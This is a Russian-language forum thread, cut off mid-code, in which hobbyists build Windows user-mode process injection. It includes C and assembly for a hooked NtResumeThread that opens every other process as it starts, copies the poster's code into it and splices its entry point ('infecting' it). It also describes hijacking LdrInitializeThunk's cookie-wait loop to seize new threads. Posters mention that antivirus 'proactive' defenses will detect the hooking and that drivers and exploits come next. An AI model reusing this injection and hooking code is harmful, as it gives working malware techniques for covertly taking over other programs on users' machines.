да уже лучше, но не изменит ситуации. Если память не подводит: погляди что будет в context.eax. кажется там должна быть ep оригинального модуля, а дальше думаю все понятно что нужно сделать.
Первое действие в первичной апк LdrInitializeThunk() это инициализация куков. Если переменная SecurityCookieInitialized содержит не ноль, то поток начинает исполнять LdrpInitialize(), иначе куки не инициализированы и выполняется InitSecurityCookie(), после чего выполняется вызов загрузчика LdrpInitialize(). InitSecurityCookie() выполняет инкремент переменной SecurityCookieInitCount. Если она содержит ноль, то инициализация выполняется далее в __security_init_cookie(загружается переменная __security_init_cookie и пр.), после чего значение в переменной SecurityCookieInitialized устанавливается в TRUE и тред возвращается на загрузчик. Если счётчик отличен от нуля, то это ошибочная ситуация и тред входит в цикл ожидания инициализации(точнее освобождения ресурса через декремент счётчика захватов) куков другим тредом, выполняя циклы задержки(с запретом апк в NtDelayExecution) и проверку переменной SecurityCookieInitialized. Если инициализация будет выполнена другим тредом, то текущий поток возвратится на загрузчик. Тоесть тред ждёт декремент счётчика, что является простым механизмом синхронизации - инициализацию могут исполнять несколько потоков. Зацикливание потока это один из способов захвата кода, хотя не тру хек, ибо пожирает процессорное время и механизм медленный. Обнуляем переменную SecurityCookieInitialized, после этого все новые потоки(они начинаются с доставки первичной апк LdrInitializeThunk) будут крутиться в цикле, ожидая установку этой переменной в TRUE. Переодически следует получать системный слепок, либо перечислить регионы памяти в поисках TEB-сегнатур, или использовать любой другой механизм для получения списка потоков текущего процесса и выполнить захват контекста необходимого треда. После необходимых манипуляций с ним можно отпустить все потоки, выполнив перезагрузку SecurityCookieInitialized и SecurityCookieInitCount. Этим можно перенаправить обработку на диспетчер исключений, который будет вызван в контексте целевого потока. А далее выполнить трассировку до возврата на загрузчик, при этом можно будет получить пользовательский контекст из стека, хотя бактрейс выполнить лучше лучше.
Мы собрали кодес, ищем среду следующим образом. Загружаем в селектор сегмента данных ноль, затем юзаем LdrInitializeThunk() напрямую. Первые два сепшена по доступу к сегменту данных вызываются при доступе к нужным переменным, это ловим и извлекаем адреса. Собственно кодес: http://paste.org.ru/?1or8vg Дамп для поиск переменных: http://paste.org.ru/?oojusa Тестовый экзе: http://paste.org.ru/?azy66r Создаёт тред, залочивает куки, ждёт 3 секунды потом разлочивает куки, тред выходит из цикла ожидания и бикает.
Походу действительно работает. Сплайсинг точки входа. Работает на win2k & на win7. Покритикуйте кодес, пожалуйста: Хукнутая NtResumeThread Code (Text): BYTE bufNtResumeThread[64] = {0}; BOOL WINAPI xNtResumeThread( IN HANDLE ThreadHandle, OUT PULONG SuspendCount OPTIONAL ) { __MARKER; THREAD_BASIC_INFORMATION ti; NTSTATUS rt = NtQueryInformationThread(ThreadHandle, (THREADINFOCLASS)ThreadBasicInformation, (PVOID)&ti, (ULONG)sizeof(THREAD_BASIC_INFORMATION), NULL); if (!NT_SUCCESS(rt)) goto L_ERR; if (ti.ClientId.UniqueProcess != (HANDLE)GetCurrentProcessId()) { HANDLE h = (HANDLE)GOpenProcess(PROCESS_ALL_ACCESS, FALSE, ti.ClientId.UniqueProcess); if (h) { INT ImageBaseDelta = TransferProgramEx( h ); if (ImageBaseDelta < 0) goto L_ERR; DWORD dwEntryPoint = GetProcessEntryPointAddress(h, ThreadHandle); SetRemoteSplicingHook(h, (LPVOID)dwEntryPoint, epInject, bufEmpty, ImageBaseDelta); GCloseHandle(h); } } L_ERR: BOOL res; LPVOID addr = (LPVOID)bufNtResumeThread; __asm { mov eax, SuspendCount push eax mov eax, ThreadHandle push eax call addr mov res, eax } if (!NT_SUCCESS(res)) return res; return res; } Вспомогательные функции SetRemoteSplicingHook() и GetProcessEntryPointAddress(): SetRemoteSplicingHook(): Code (Text): #include "hde32/hde32.h" // Short & relative commands: // -------------------------- // JO SHORT ... JG SHORT // OPCODE = 0x70 ... 0x7F // // LOOPNE : OPCODE = E0 // LOOPE : OPCODE = E1 // LOOP : OPCODE = E2 // JECXZ : OPCODE = E3 // JMP SHORT : OPCODE = EB #define JO_SHORT 0x70 #define JG_SHORT 0x7F #define LOOPNE 0xE0 #define JECXZ 0xE3 #define JMP_SHORT 0xEB // Relative commands: // ----------------------- // CALL : OPCODE = E8 // JMP : OPCODE = E9 #define CALL 0xE8 #define JMP 0xE9 #define INC_EAX 0x40 #define DEC_EAX 0x48 #define RETN1 0xC2 #define RETN2 0xC3 #define INT3 0xCC bool SetRemoteSplicingHook(HANDLE hProcess, LPVOID lpOrgFunc, LPVOID lpHookFunc, PBYTE pbOrgFuncBuf, INT ImageBaseDelta) { //// Проверка указателей //if (IsBadWritePtr(pbOrgFuncBuf, 64) || IsBadReadPtr(lpOrgFunc, 5)) // return false; lpHookFunc = (PBYTE)lpHookFunc + ImageBaseDelta; pbOrgFuncBuf += ImageBaseDelta; // Читаем 0x1000 байт от начала функции, которую собираемся перехвачивать // BYTE Buffer[0x1000]; ULONG NumberOfBytesToRead = sizeof(Buffer); ULONG NumberOfBytesReaded; NTSTATUS stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, lpOrgFunc, Buffer, NumberOfBytesToRead, &NumberOfBytesReaded); if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) ) return false; // Перехвачена ли функция? // // Чтобы это выяснить, мы должны проследовать по JMP'у в начале // этой функции и посмотреть - есть ли там "инструкции-маркеры" hde32s hs; hde32_disasm( (LPVOID)Buffer, &hs ); if ( hs.flags & F_ERROR ) return false; if (hs.opcode == JMP) { LPVOID addr = (LPVOID)( (DWORD)Buffer + hs.len + hs.imm.imm32 ); NumberOfBytesToRead = sizeof(Buffer); stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, addr, Buffer, NumberOfBytesToRead, &NumberOfBytesReaded); if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) ) return false; addr = (LPVOID)( Buffer ); for (DWORD i = 0; i < 0x1000; ) { hde32_disasm((LPVOID) ((DWORD)addr + i), &hs); // need to fix if ( hs.opcode == RETN1 || hs.opcode == RETN2 || hs.opcode == INT3 ) break; if ( hs.flags & F_ERROR ) return false; i += hs.len; if (hs.opcode == INC_EAX) { hde32_disasm((LPVOID) ((DWORD)addr + i), &hs); if ( hs.flags & F_ERROR ) return false; i += hs.len; if (hs.opcode == DEC_EAX) return false; } } } // Копируем начало функции по адресу lpOrgFunc (Buffer) // Для определния дли инструкций используем HDE32 // BYTE emptyBuf[64] = {0}; DWORD szBuf = 64; // 64 байта - максимальный размер буфера DWORD NumberOfBytesWritten; stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, pbOrgFuncBuf, emptyBuf, szBuf, &NumberOfBytesWritten); if (NT_ERROR(stat) || (szBuf != NumberOfBytesWritten)) return false; DWORD i; for (i = 0; i < szBuf; ) { // 5 bytes min (!) hde32_disasm((LPVOID) ((DWORD)Buffer + i), &hs); if ( hs.flags & F_ERROR ) break; i += hs.len; // Если встерим Short-Relative команду - возвращаем FALSE, // т.к. Такой stuff unsupported yet if ( (hs.opcode >= JO_SHORT && hs.opcode <= JG_SHORT) || (hs.opcode >= LOOPNE && hs.opcode <= JECXZ) || hs.opcode == JMP_SHORT ) break; if (i >= 5) break; } if ( (i < 5) || (i >= szBuf) ) return false; // ok DWORD szBufCode = i; // Копируем начало функции по адресу lpOrgFunc (Buffer) //CopyMemory((PBYTE)pbOrgFuncBuf, Buffer, szBufCode); stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, pbOrgFuncBuf, Buffer, szBufCode, &NumberOfBytesWritten); if (NT_ERROR(stat) || (szBufCode != NumberOfBytesWritten)) return false; // Пробегаемся по коду и смотрим, есть ли в скопированном коде инструкции JMP или CALL // Если есть - правим аргументы ZeroMemory(Buffer, 0x1000); NumberOfBytesToRead = szBufCode; stat = (NTSTATUS)GNtReadVirtualMemory(hProcess, pbOrgFuncBuf, Buffer, NumberOfBytesToRead, &NumberOfBytesReaded); if ( NT_ERROR(stat) || (NumberOfBytesToRead != NumberOfBytesReaded) ) return false; for (i = 0; i < szBufCode; i += hs.len) { hde32_disasm((LPVOID) ((DWORD)Buffer + i), &hs); if ( hs.flags & F_ERROR ) break; if (hs.opcode == JMP || hs.opcode == CALL) { DWORD arg = hs.imm.imm32; DWORD offset = (DWORD) ( (DWORD)lpOrgFunc - (DWORD)pbOrgFuncBuf ); DWORD dwp = arg + offset; stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, (DWORD)pbOrgFuncBuf + (i + 1), &dwp, sizeof(DWORD), &NumberOfBytesWritten); if (NT_ERROR(stat) || (sizeof(DWORD) != NumberOfBytesWritten)) return false; } } // В конец добавляем JMP на адрес функции lpOrgFunc, с учётом смещения в szBufCode байт DWORD offset = (DWORD) ( (DWORD)lpOrgFunc - (DWORD)pbOrgFuncBuf ) - ( 1 + sizeof(DWORD) ); BYTE bufOrgFuncBuf[5] = {0}; bufOrgFuncBuf[0] = JMP; *(PDWORD)((DWORD)bufOrgFuncBuf + 1) = offset; DWORD pbOrgFuncBufP2 = (DWORD)pbOrgFuncBuf + szBufCode; stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, pbOrgFuncBufP2, bufOrgFuncBuf, sizeof(bufOrgFuncBuf), &NumberOfBytesWritten); if (NT_ERROR(stat) || ((DWORD)sizeof(bufOrgFuncBuf) != NumberOfBytesWritten)) return false; // Разрешаем запись в страницу с кодом DWORD old = 0; LPVOID BaseAddress = lpOrgFunc; DWORD NumberOfBytesToProtect = szBufCode; stat = (NTSTATUS)GNtProtectVirtualMemory(hProcess, &BaseAddress, &NumberOfBytesToProtect, PAGE_EXECUTE_READWRITE, &old); if (!NT_SUCCESS(stat)) return false; // NumberOfBytesToProtect : Pointer to size of region to protect. On output will be round to page size (4KB). // Ставим JMP в начало оригинальной функции на функцию-перехватчик offset = ((DWORD) lpHookFunc - (DWORD) lpOrgFunc) - (1 + sizeof(DWORD)); BYTE bufOrgFuncRepl[5] = {0}; bufOrgFuncRepl[0] = JMP; *(PDWORD)((DWORD)bufOrgFuncRepl + 1) = offset; stat = (NTSTATUS)GNtWriteVirtualMemory(hProcess, lpOrgFunc, bufOrgFuncRepl, sizeof(bufOrgFuncRepl), &NumberOfBytesWritten); if ( !NT_SUCCESS(stat) || (NumberOfBytesWritten != (DWORD)sizeof(bufOrgFuncRepl)) ) return false; // Ништяк return true; } GetProcessEntryPointAddress(): Code (Text): // // PE file format structures // typedef struct _coff_header { unsigned short machine; unsigned short sections; unsigned int timestamp; unsigned int symboltable; unsigned int symbols; unsigned short size_of_opt_header; unsigned short characteristics; } coff_header; typedef struct _optional_header { unsigned short magic; char linker_version_major; char linker_version_minor; unsigned int code_size; unsigned int idata_size; unsigned int udata_size; unsigned int entry_point; unsigned int code_base; } optional_header; #pragma pack( pop ) // TEB #define GDI_BATCH_BUFFER_SIZE 310 typedef struct _GDI_TEB_BATCH { ULONG Offset; ULONG HDC; ULONG Buffer[GDI_BATCH_BUFFER_SIZE]; } GDI_TEB_BATCH,*PGDI_TEB_BATCH; #define STATIC_UNICODE_BUFFER_LENGTH 261 #define WIN32_CLIENT_INFO_LENGTH 31 #define WIN32_CLIENT_INFO_SPIN_COUNT 1 typedef struct _XTEB { NT_TIB NtTib; PVOID EnvironmentPointer; CLIENT_ID ClientId; PVOID ActiveRpcHandle; PVOID ThreadLocalStoragePointer; PPEB ProcessEnvironmentBlock; ULONG LastErrorValue; ULONG CountOfOwnedCriticalSections; PVOID CsrClientThread; PVOID Win32ThreadInfo; // PtiCurrent ULONG Win32ClientInfo[WIN32_CLIENT_INFO_LENGTH]; // User32 Client Info PVOID WOW32Reserved; // used by WOW LCID CurrentLocale; ULONG FpSoftwareStatusRegister; PVOID SystemReserved1[54]; // Used by FP emulator PVOID Spare1; // unused NTSTATUS ExceptionCode; // for RaiseUserException UCHAR SpareBytes1[40]; PVOID SystemReserved2[10]; // Used by user/console for temp obja GDI_TEB_BATCH GdiTebBatch; // Gdi batching ULONG gdiRgn; ULONG gdiPen; ULONG gdiBrush; CLIENT_ID RealClientId; HANDLE GdiCachedProcessHandle; ULONG GdiClientPID; ULONG GdiClientTID; PVOID GdiThreadLocalInfo; PVOID UserReserved[5]; // unused PVOID glDispatchTable[280]; // OpenGL ULONG glReserved1[26]; // OpenGL PVOID glReserved2; // OpenGL PVOID glSectionInfo; // OpenGL PVOID glSection; // OpenGL PVOID glTable; // OpenGL PVOID glCurrentRC; // OpenGL PVOID glContext; // OpenGL ULONG LastStatusValue; UNICODE_STRING StaticUnicodeString; WCHAR StaticUnicodeBuffer[STATIC_UNICODE_BUFFER_LENGTH]; PVOID DeallocationStack; PVOID TlsSlots[TLS_MINIMUM_AVAILABLE]; LIST_ENTRY TlsLinks; PVOID Vdm; PVOID ReservedForNtRpc; PVOID DbgSsReserved[2]; ULONG HardErrorsAreDisabled; PVOID Instrumentation[16]; PVOID WinSockData; // WinSock ULONG GdiBatchCount; ULONG Spare2; ULONG Spare3; ULONG Spare4; PVOID ReservedForOle; ULONG WaitingOnLoaderLock; } XTEB; typedef struct _PEB_FREE_BLOCK { struct _PEB_FREE_BLOCK *Next; ULONG Size; } PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; #define GDI_HANDLE_BUFFER_SIZE 34 #define TLS_MINIMUM_AVAILABLE 64 // winnt typedef struct _PEB_LDR_DATA { ULONG Length; BOOLEAN Initialized; HANDLE SsHandle; LIST_ENTRY LoadOrder; LIST_ENTRY MemoryOrder; LIST_ENTRY InitializationOrder; } PEB_LDR_DATA, *PPEB_LDR_DATA; typedef struct _XPEB { BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the BOOLEAN ReadImageFileExecOptions; // BOOLEAN BeingDebugged; // BOOLEAN SpareBool; // HANDLE Mutant; // INITIAL_PEB structure is also updated. PVOID ImageBaseAddress; PPEB_LDR_DATA Ldr; struct _RTL_USER_PROCESS_PARAMETERS *ProcessParameters; PVOID SubSystemData; PVOID ProcessHeap; PVOID FastPebLock; PVOID FastPebLockRoutine; PVOID FastPebUnlockRoutine; ULONG EnvironmentUpdateCount; PVOID KernelCallbackTable; HANDLE EventLogSection; PVOID EventLog; PPEB_FREE_BLOCK FreeList; ULONG TlsExpansionCounter; PVOID TlsBitmap; ULONG TlsBitmapBits[2]; // relates to TLS_MINIMUM_AVAILABLE PVOID ReadOnlySharedMemoryBase; PVOID ReadOnlySharedMemoryHeap; PVOID *ReadOnlyStaticServerData; PVOID AnsiCodePageData; PVOID OemCodePageData; PVOID UnicodeCaseTableData; // Useful information for LdrpInitialize ULONG NumberOfProcessors; ULONG NtGlobalFlag; // Passed up from MmCreatePeb from Session Manager registry key LARGE_INTEGER CriticalSectionTimeout; ULONG HeapSegmentReserve; ULONG HeapSegmentCommit; ULONG HeapDeCommitTotalFreeThreshold; ULONG HeapDeCommitFreeBlockThreshold; // Where heap manager keeps track of all heaps created for a process // Fields initialized by MmCreatePeb. ProcessHeaps is initialized // to point to the first free byte after the PEB and MaximumNumberOfHeaps // is computed from the page size used to hold the PEB, less the fixed // size of this data structure. ULONG NumberOfHeaps; ULONG MaximumNumberOfHeaps; PVOID *ProcessHeaps; // // PVOID GdiSharedHandleTable; PVOID ProcessStarterHelper; PVOID GdiDCAttributeList; PVOID LoaderLock; // Following fields filled in by MmCreatePeb from system values and/or // image header. ULONG OSMajorVersion; ULONG OSMinorVersion; ULONG OSBuildNumber; ULONG OSPlatformId; ULONG ImageSubsystem; ULONG ImageSubsystemMajorVersion; ULONG ImageSubsystemMinorVersion; ULONG ImageProcessAffinityMask; ULONG GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE]; } XPEB, *PXPEB; // // Gets the address of the entry point routine given a // handle to a process and its primary thread. // DWORD GetProcessEntryPointAddress( HANDLE hProcess, HANDLE hThread ) { CONTEXT context; LDT_ENTRY entry; XTEB teb; XPEB peb; DWORD read; DWORD dwFSBase; DWORD dwImageBase, dwOffset; DWORD dwOptHeaderOffset; optional_header opt; // // get the current thread context // context.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS; GetThreadContext( hThread, &context ); // // use the segment register value to get a pointer to // the TEB // GetThreadSelectorEntry( hThread, context.SegFs, &entry ); dwFSBase = ( entry.HighWord.Bits.BaseHi << 24 ) | ( entry.HighWord.Bits.BaseMid << 16 ) | ( entry.BaseLow ); // // read the teb // ReadProcessMemory( hProcess, (LPCVOID)dwFSBase, &teb, sizeof( XTEB ), &read ); // // read the peb from the location pointed at by the teb // ReadProcessMemory( hProcess, (LPCVOID)teb.ProcessEnvironmentBlock, &peb, sizeof( XPEB ), &read ); // // figure out where the entry point is located; // dwImageBase = (DWORD)peb.ImageBaseAddress; ReadProcessMemory( hProcess, (LPCVOID)( dwImageBase + 0x3c ), &dwOffset, sizeof( DWORD ), &read ); dwOptHeaderOffset = ( dwImageBase + dwOffset + 4 + sizeof( coff_header ) ); ReadProcessMemory( hProcess, (LPCVOID)dwOptHeaderOffset, &opt, sizeof( optional_header ), &read ); return ( dwImageBase + opt.entry_point ); } Почему-то на некоторых програх, неверно работает код определения точки входа (код этой функции я откуда-то с***дил). В результате, сплайсинг происходит чуть ниже самой точки входа. (Кстати. А если сплайсить код не в самом начале функции, а спустя неск. инструкций? В этом случае нужно будет восстанавливать состояния регистров после выполнения кода сплайса? Я правильно мыслю?) Т.е. вопрос: есть ли другой, более стабильный метод определения точки входа, зная Handle процесса и Handle первичного потока?
CrystalIC Respect. Сразу хочу извиниться за потенциальные глупые вопросы (просто не совсем представляю себе полную картину). Но всё-таки, ... Т.е. тут переписывается код LdrInitializeThunk так, чтобы загонять все новые потоки в уже реализованный механизм состояния ожидания... И делается это для чего? Для беспалевности (чтобы не хукать NtResumeThread & NtCreateThread) в первую очередь? Я правильно понимаю?
Скозале веди, модификация кода это шлак и хуета. Ты дорогой возьми в рку нажми анхук всё и посмотри что будет с твоим кодом, модулем(скорее всего код в модуле) etc. Запись в сегмент кода тривиальна, там ничего нет, это пустота, которую мы в софте юзать не можем(в нашем софте..). Я сюда зашёл потомучто эта тема всплыла при поиске похожей инфы, но не для того чтоб какуюто херню обсуждать. По теме: Есть, это ProcessSectionImageInformation(0x25), возвращает в TransferAddress значение IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint из образа. - Дополнение к коду: Code (Text): KiUserApcDispatcher: lea edi,dword ptr ss:[esp+10] pop eax call eax ; -> LdrInitializeThunk() push 1 push edi call ntdll.ZwContinue ; Первичная апк, ставит в очередь потока ядро. Отсюда начинает исполняться тред. ; LdrInitializeThunk: lea eax,dword ptr ss:[esp+10] mov dword ptr ss:[esp+4],eax xor ebp,ebp jmp ntdll._LdrpInitialize@12 _LdrpInitialize@12: mov edi,edi push ebp mov ebp,esp cmp byte ptr ds:[_SecurityCookieInitialized],0 ; Для захвата потока обнулить. je ntdll.7C92217D 7C91AAB9: pop ebp jmp ntdll.__LdrpInitialize@12 7C92217D: call ntdll._InitSecurityCookie@0 7C922182: jmp ntdll.7C91AAB9 InitSecurityCookie@0: mov edi,edi push ebp mov ebp,esp push ecx push ecx xor ecx,ecx mov eax,offset ntdll._SecurityCookieInitCount inc ecx lock xadd dword ptr ds:[eax],ecx inc ecx cmp ecx,1 jnz ntdll.7C93F359 ; Всегда > 1(декремент не выполняется). call ntdll.___security_init_cookie mov byte ptr ds:[_SecurityCookieInitialized],1 leave ret 7C93F359: or dword ptr ss:[ebp-4],FFFFFFFF mov dword ptr ss:[ebp-8],FFFB6C20 ; 30 milliseconds. jmp short ntdll.7C93F371 ; Здесь иной поток может остановить текущий тред, получить ; из контекста значение регистра Ebp(бактрейс), это указат ; ель на стековый фрейм, который содержит адрес возврата и ; з InitSecurityCookie(), это адрес 0x7C922182. Заменим эт ; от адрес в стековом фрейме на свой, тогда при возврате у ; правление получит наш обработчик перед тем, как будет вы ; полнен переход на LdrpInitialize(). Иначе можно использо ; вать захват Eip в контексте, либо механизм исключений. В ; зведём в контексте текущего треда TF(прежде остановив ег ; о). На следующей инструкции будет сгенерирован пошаговый ; останов, VEH получит управление в контексте текущего пот ; ока. Захват можно выполнить посредством переодической до ; ставки апк, отличной от первичной, например по таймеру, ; либо выполняя цикл опроса с задержкой. Определяем создан ; ие потока по инкременту переменной SecurityCookieInitCou ; nt. При этом делаем слепок и определяем вновь созданный ; поток в нём. Далее открываем его и выполняем необходимые ; манипуляции. 7C93F366: lea eax,dword ptr ss:[ebp-8] push eax push 0 call ntdll.ZwDelayExecution 7C93F371: cmp byte ptr ds:[_SecurityCookieInitialized],0 ; Цикл ожидания инициализации. je short ntdll.7C93F366 leave ret Ждём следующим образом: Code (Text): mov esi,CookieEnvironment._SecurityCookieInitialized mov edi,CookieEnvironment._SecurityCookieInitCount mov byte ptr [esi],al ; Lock cookie. mov ebx,dword ptr [edi] ; SecurityCookieInitCount ; ... ; Цикл ожидания запуска нового потока. @@: invoke Sleep, 30 cmp dword ptr [edi],ebx je @b > Я правильно мыслю? Абсолютно в ином направлении, забудьте то, о чём вы думаете.
Я вызывал GetThreadContext в хукнутой NtResumeThread. Там все регистры по нолям стоят. Ещё какие-то способы, может, есть?
Ну, я, конечно понимаю, что мне нужно драйвер писать и сплоеты для него. Но, просто, хочу разобраться с usermode'ом сначала. =)
CrystalIC SectionImageInformation ? http://undocumented.ntinternals.net/UserMode/Structures/SECTION_IMAGE_INFORMATION.html
Code (Text): Local SectionInformation:SECTION_IMAGE_INFORMATION invoke NtQueryInformationProcess, NtCurrentProcess, ProcessImageInformation, addr SectionInformation, sizeof(SECTION_IMAGE_INFORMATION), NULL .if !Eax push SectionInformation.TransferAddress Call @f $Msg CHAR "AddressOfEntryPoint: %p",0 @@: Call DbgPrint .endif Тока для текущего процесса, 0x25/0x30 в XP.
OMG! Подводные камни! CrystalIC Угумс, спасибо. Получаю EP как ты и говорил, respect: Code (Text): #define ProcessSectionImageInformation 0x25 // Getting entry point SECTION_IMAGE_INFORMATION sii; NTSTATUS stat = NtQueryInformationProcess(h, (PROCESSINFOCLASS)ProcessSectionImageInformation, &sii, sizeof SECTION_IMAGE_INFORMATION, NULL); if (NT_ERROR(stat)) goto L_ERR; DWORD dwEntryPoint = (DWORD)sii.EntryPoint; Сейчас позапускал exe'шников штук 20 - из них вылетел (после инфектинга точки входа) только UltraISO.exe, который был запакован: Вот такая тут точка входа: o0 Entry point : 0xba4001 Т.е. тут сначала вызывается функция UltraISO.00BA400A, которая вытаскивает EPB из стека, инкрементирует и засовывает обратно. Затем, когда происходит RET, вы возвращаемся уже не на 00BA4007 (где 0xE9 - это опкод JMP'а), а на 00BA4008 (где 0xEB - это однобайтовый JMP, с пом. которого мы перепрыгиваем процедуру UltraISO.00BA400A и попадаем на 00BA400E (где 0xE8 - это relative-call, благодаря которому мы уже попадаем не на short-jmp, а на оригинальную точку входа - 00BA4014. Т.е., когда я сплайсю точку входа, я копирую две первых инструкции (PUSHAD и CALL) в "мостик", на который передам управление в Inject-функции, которую внедрил вместо оригинальной точки входа: Code (Text): VOID epInject () { __MARKER // Хукинг Inject(NULL); Inject2(NULL); DWORD dwBufEmptry = (DWORD)bufEmpty; __asm push dwBufEmptry ; вот тут я передаю управление на "мостик" с PUSHAD и CALL __asm ret } И, когда я это сделаю, при выполнении этого кода: Code (Text): 00BA400A /$ 5D POP EBP 00BA400B |. 45 INC EBP 00BA400C |. 55 PUSH EBP 00BA400D \. C3 RETN Я возвращусь не на JMP (после мостика идёт JMP на остаток оригинальной функции), который будет указывать на 00BA4007 (что уже само по себе неверно), а на JMP + 1. Т.е. будет переход куда-то в половину инструкции и меня ждёт вот что: Товарищи, plz подскажите как решить проблему!
Что-то ничего лучше, чем выполнить epInject, снять хук (восстановив начало оригинальной функции) и передать туда управление ... мне в голову не приходит. Впринципе, всё равно же только один поток оказывается у точки входа и коллизий возникнуть не должно при снятии хука. Так?
Или лучше хукнуть NtCreateThread, т.к. походу, там, можно достать из CONTEXT.Eax адрес точки входа и изменить этот адрес, передав управление на свой код. Кто-нибудь делал так? Всё ок?
Я дал вам новую технику, почему вы не хотите использовать это ? Пользуйтесь чужим опытом, это позволит быстро добиться успеха, иначе понадобится очень много времени пока вы к этому придёте.. Для ядра не существует OEP, есть модуль, который сопоставлен процессу и тред в контексте которого один регистр содержит ссылку на адрес из опционального заголовка модуля, куда загрузчик передаст управление. Иного ничего про "точку входа" ось не знает(этот адрес описан в секции), как в прочем и нормальный кодер не отделяет два стартовых адреса в криптованных модулях(не путать со статикой), модуль один, криптованный код является частью приложения, нет смысла разделять это. Аналогично виртуальная и реальная OEP не являются началом программы. Для загрузчика код по этому адресу последний, на который он передаст управление. > сплайсю точку входа Отвратно.. зачем это, если вы полностью владеете контекстом потока, как впрочем и всем поведением его от начала исполнения. Видим единственную причину - инфект, который применялся в самом начале зарождения сцены.. Нормально решение должно заключаться в управлении загрузчиком. Это всё имеет примитивную реализацию, незачем описывать то, что всплывёт в первой строке поисковика. Изучайте механизм инициализации приложения, вы поймёте все нюансы и наилучшее решение. Само название темы абсолютно иное чем последние вопросы, LdrInitializeThunk() это адрес первичной пользовательской апк потока, единственная причина для захвата этого - блокирование запуска новых тредов, либо некоторые действия, которые должны исполняться до запуска загрузчика. Иначе захват данной апк не имеет смысла. В любом случае альтернативой является манипуляции на ядерном уровне, куда и следует смотреть в дальнейшем.
Я думаю, у меня больше времени уйдёт на анализ вашего кода, чем на завершение метода сплайсинга точки входа. Мне бы сейчас в ring3 доделать глобальный хукинг (один хрен он будет палиться проактивками как его не реализовывай), а дальше в ring0 полезу. Ну да, причина - это хукинг функций не в ntdll. MS-Rem и предлагал хукнуть LdrInitializeThunk, для этого: Ну да, конечно. Никто и не спорит. Только опыта в ring0 у меня нет и книжка Руссинович М. Соломон Д. Внутреннее устройство Microsoft Windows... 4-е изд. 2005г. 992 стр. ISBN 5-469-01174-7,5-7502-0085-x.djvu лежит непрочитанная. *WALL*
Ну да, всё получилось. На win2k пока не тестировал, но оно работает. Хукнутая NtResumeThread: Code (Text): SPLICE hookNtResumeThread; BOOL WINAPI xNtResumeThread( IN HANDLE ThreadHandle, OUT PULONG SuspendCount OPTIONAL ) { __MARKER; // NTSYSAPI NTSTATUS NTAPI // NtQueryInformationThread( // IN HANDLE ThreadHandle, // IN THREAD_INFORMATION_CLASS ThreadInformationClass, // OUT PVOID ThreadInformation, // IN ULONG ThreadInformationLength, // OUT PULONG ReturnLength OPTIONAL ); THREAD_BASIC_INFORMATION ti; NTSTATUS rt = NtQueryInformationThread(ThreadHandle, (THREADINFOCLASS)ThreadBasicInformation, (PVOID)&ti, (ULONG)sizeof(THREAD_BASIC_INFORMATION), NULL); if (!NT_SUCCESS(rt)) goto L_ERR; if (ti.ClientId.UniqueProcess != (HANDLE)GetCurrentProcessId()) { HANDLE h = (HANDLE)GOpenProcess(PROCESS_ALL_ACCESS, FALSE, ti.ClientId.UniqueProcess); if (h) { // Getting entry point SECTION_IMAGE_INFORMATION sii; NTSTATUS stat = NtQueryInformationProcess(h, (PROCESSINFOCLASS)ProcessSectionImageInformation, &sii, sizeof SECTION_IMAGE_INFORMATION, NULL); if (NT_ERROR(stat)) goto L_ERR; // Storing all needed data ato global vars and do transfer program hookEPInject.lpHookFunc = (LPVOID)epInject; hookEPInject.lpOrgFunc = sii.EntryPoint; DWORD szBridgeLength; if ( (szBridgeLength = GetRemoteBridgeLength(h, hookEPInject.lpOrgFunc, 64)) == FALSE ) goto L_ERR; if ( NT_ERROR(CopyPartOfRemoteFunc(h, &hookEPInject)) ) // NT_ERROR ? =) goto L_ERR; hookEPInject.szBufOrgFunc = szBridgeLength; // Transfer code of this program to another process INT ImageBaseDelta = TransferProgramEx( h ); if (ImageBaseDelta < 0) goto L_ERR; // Splicing of entry point SetRemoteSplicingHook(h, &hookEPInject, ImageBaseDelta); GCloseHandle(h); } } L_ERR: BOOL res; LPVOID addr = (LPVOID)hookNtResumeThread.bufOrgFunc; __asm { mov eax, SuspendCount push eax mov eax, ThreadHandle push eax call addr mov res, eax } if (!NT_SUCCESS(res)) return res; return res; } Хукнутая точка входа: Code (Text): VOID epInject () { __MARKER // Do smth crazy stuff here (hooking user32.dll or smth like that) Inject(NULL); // Unhook entry point HANDLE hProcess = GetCurrentProcess(); LPVOID BaseAddress = hookEPInject.lpOrgFunc; DWORD NumberOfBytesToProtect = hookEPInject.szBufOrgFunc; DWORD dwOldProtect; //NTSYSAPI NTSTATUS NTAPI //NtProtectVirtualMemory( // IN HANDLE ProcessHandle, // IN OUT PVOID *BaseAddress, // IN OUT PULONG NumberOfBytesToProtect, // IN ULONG NewAccessProtection, // OUT PULONG OldAccessProtection ); NTSTATUS stat = (NTSTATUS)GNtProtectVirtualMemory(hProcess, &BaseAddress, &NumberOfBytesToProtect, PAGE_EXECUTE_READWRITE, &dwOldProtect); if (NT_SUCCESS(stat)) { DWORD NumberOfBytesWritten = 0; if (!WriteProcessMemory(hProcess, hookEPInject.lpOrgFunc, hookEPInject.bufOrgFuncBck, hookEPInject.szBufOrgFunc, &NumberOfBytesWritten)) { // Cannot recover entry point? Well, we will try to use our bringe to EP if (NumberOfBytesWritten == 0) { DWORD dwBufOrgFunc = (DWORD)hookEPInject.bufOrgFunc; __asm push dwBufOrgFunc __asm ret } } } // Calling unhooked EP DWORD dwOrgFunc = (DWORD)hookEPInject.lpOrgFunc; __asm push dwOrgFunc __asm ret } Вспомогательные функции: Code (Text): struct SPLICE { LPVOID lpOrgFunc; LPVOID lpHookFunc; BYTE bufOrgFunc[64]; BYTE bufOrgFuncBck[64]; DWORD szBufOrgFunc; }; typedef SPLICE *PSPLICE; bool SetRemoteSplicingHook(HANDLE hProcess, PSPLICE pSplice, INT ImageBaseDelta) { LPVOID lpOrgFunc = pSplice->lpOrgFunc; LPVOID lpHookFunc = pSplice->lpHookFunc; 